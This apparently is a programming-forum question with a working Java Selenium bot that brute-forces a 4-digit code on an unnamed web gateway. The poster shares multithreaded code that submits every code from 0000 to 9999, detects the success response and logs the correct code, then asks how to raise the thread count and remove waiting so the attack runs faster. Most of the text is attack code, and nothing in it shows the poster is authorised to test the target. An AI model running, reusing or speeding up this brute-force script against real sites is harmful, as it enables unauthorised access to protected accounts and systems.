title: Increasing the performance of a multi-thread Selenium WebDriver based brute force bot
body: <p>everyone!
  I have just created a brute force bot which uses WebDriver and multithreading to brute force a 4-digit code. 4-digit means a range of 0000 - 9999 possible String values. <strong>In my case, after clicking the "submit" button, not less than 7 seconds passes before the client gets a response from the server</strong>. So, I have decided to use Thread.sleep(7200) to let the page with a response be fully loaded. Then, I found out that I couldn't afford to wait for 9999*7,5 seconds for the task to be accomplished, so <strong>I had to use multithreading</strong>. I have a Quad-Core AMD machine with 1 virtual core per 1 hardware one, which gives me the opportunity to run 8 threads simultaneously. Ok, I have separated the whole job of 9999 combinations between 8 threads equally, each had got a scope of work of 1249 combinations + remainder thread starting at the very end. Ok, <strong>now I'm getting my job done in 1,5 hours</strong> (because the right code appears to be in the middle of the scope of work). That is much better, BUT it could be even more better! You know, the Thread.sleep(7500) is a pure waste of time. My machine could be switching to other threads which are <code>wait()</code> because of limited amount of hardware cores. How to do this? Any ideas?</p>
  
  <p>Below are two classes to represent my architecture approach:</p>
  
  <pre><code>public class BruteforceBot extends Thread {
  
  // All the necessary implementation, blah-blah
  
  public void run() {
          brutforce();
      }
  
      private void brutforce() {
          initDriver();
          int counter = start;
          while (counter &lt;= finish) {
              try {
                  webDriver.get(gatewayURL);                
                  webDriver.findElement(By.name("code")).sendKeys(codes.get(counter));              
                  webDriver.findElement(By.name("code")).submit();                
                  Thread.sleep(7200);
                  String textFound = "";                
                  try {
                      do {
                          textFound = Jsoup.parse(webDriver.getPageSource()).text();
                          //we need to be sure that the page is fully loaded
                      } while (textFound.contains("XXXXXXXXXXXXX"));
                  } catch (org.openqa.selenium.JavascriptException je) {
                      System.err.println("JavascriptException: TypeError: "
                              + "document.documentElement is null");
                      continue;
                  }
                  // Test if the page returns XXXXXXXXXXXXX below
                  if (textFound.contains("XXXXXXXXXXXXXXXx") &amp;&amp; !textFound.contains("YYYYYYY")) {
                      System.out.println("Not " + codes.get(counter));
                      counter++;
                      // Test if the page contains "YYYYYYY" string below
                  } else if (textFound.contains("YYYYYYY")) {
                      System.out.println("Correct Code is " + codes.get(counter));
                      botLogger.writeTheLogToFile("We have found it: " + textFound
                              + " ... at the code of " + codes.get(counter));
                      break;
                      // Test if any other case of response below
                  } else {
                      System.out.println("WTF?");
                      botLogger.writeTheLogToFile("Strange response for code "
                              + codes.get(counter));
                      continue;
                  }
              } catch (InterruptedException intrrEx) {
                  System.err.println("Interrupted exception: ");
                  intrrEx.printStackTrace();
              }
          }
          destroyDriver();
      } // end of bruteforce() method
  </code></pre>
  
  <p>And </p>
  
  <pre><code>   public class ThreadMaster {
  
  // All the necessary implementation, blah-blah
  
          public ThreadMaster(int amountOfThreadsArgument, 
                  ArrayList&lt;String&gt; customCodes) {
          this();
          this.codes = customCodes;
          this.amountOfThreads = amountOfThreadsArgument;        
          this.lastCodeIndex = codes.size() - 1;
          this.remainderThread = codes.size() % amountOfThreads;
          this.scopeOfWorkForASingleThread 
                  = codes.size()/amountOfThreads;
      }
  
      public static void runThreads() {
          do {
          bots = new BruteforceBot[amountOfThreads];
          System.out.println("Bots array is populated");
      } while (bots.length != amountOfThreads);
      for (int j = 0; j &lt;= amountOfThreads - 1;) {
          int finish = start + scopeOfWorkForASingleThread;
          try {
              bots[j] = new BruteforceBot(start, finish, codes);
          } catch (Exception e) {
              System.err.println("Putting a bot into a theads array failed");
              continue;
          }
          bots[j].start();
          start = finish;
          j++;
      }
      try {
          for (int j = 0; j &lt;= amountOfThreads - 1; j++) {
              bots[j].join();
          }
      } catch (InterruptedException ie) {
          System.err.println("InterruptedException has occured "
                  + "while a Bot was joining a thread ...");
          ie.printStackTrace();
      }
      // if there are any codes that are still remain to be tested  - 
      // this last bot/thread will take care of them 
      if (remainderThread != 0) {
          try {
              int remainderStart = lastCodeIndex - remainderThread;
              int remainderFinish = lastCodeIndex;
              BruteforceBot remainderBot
                      = new BruteforceBot(remainderStart, remainderFinish, codes);
              remainderBot.start();
              remainderBot.join();
          } catch (InterruptedException ie) {
              System.err.println("The remainder Bot has failed to "
                      + "create or start or join a thread ...");
          }
      }
  
  }
  </code></pre>
  
  <p>I need your advise on how to improve the architecture of this app to make it successfully run with say, 20 threads instead of 8. My problem is - when I simply remove Thread.sleep(7200) and at the same time order to run 20 Thread instances instead of 8, the thread constantly fails to get a response from the server because it doesn't wait for 7 seconds for it to come. Therefore, the performance becomes not just less, it == 0; Which approach would you choose in this case?</p>
  
  <p>P.S.: I order the amount of threads from the main() method: </p>
  
  <pre><code>public static void main(String[] args)
          throws InterruptedException, org.openqa.selenium.SessionNotCreatedException {
      System.setProperty("webdriver.gecko.driver", "lib/geckodriver.exe");         
      ThreadMaster tm = new ThreadMaster(8, new CodesGenerator().getListOfCodesFourDigits());     
      tm.runThreads();
  </code></pre>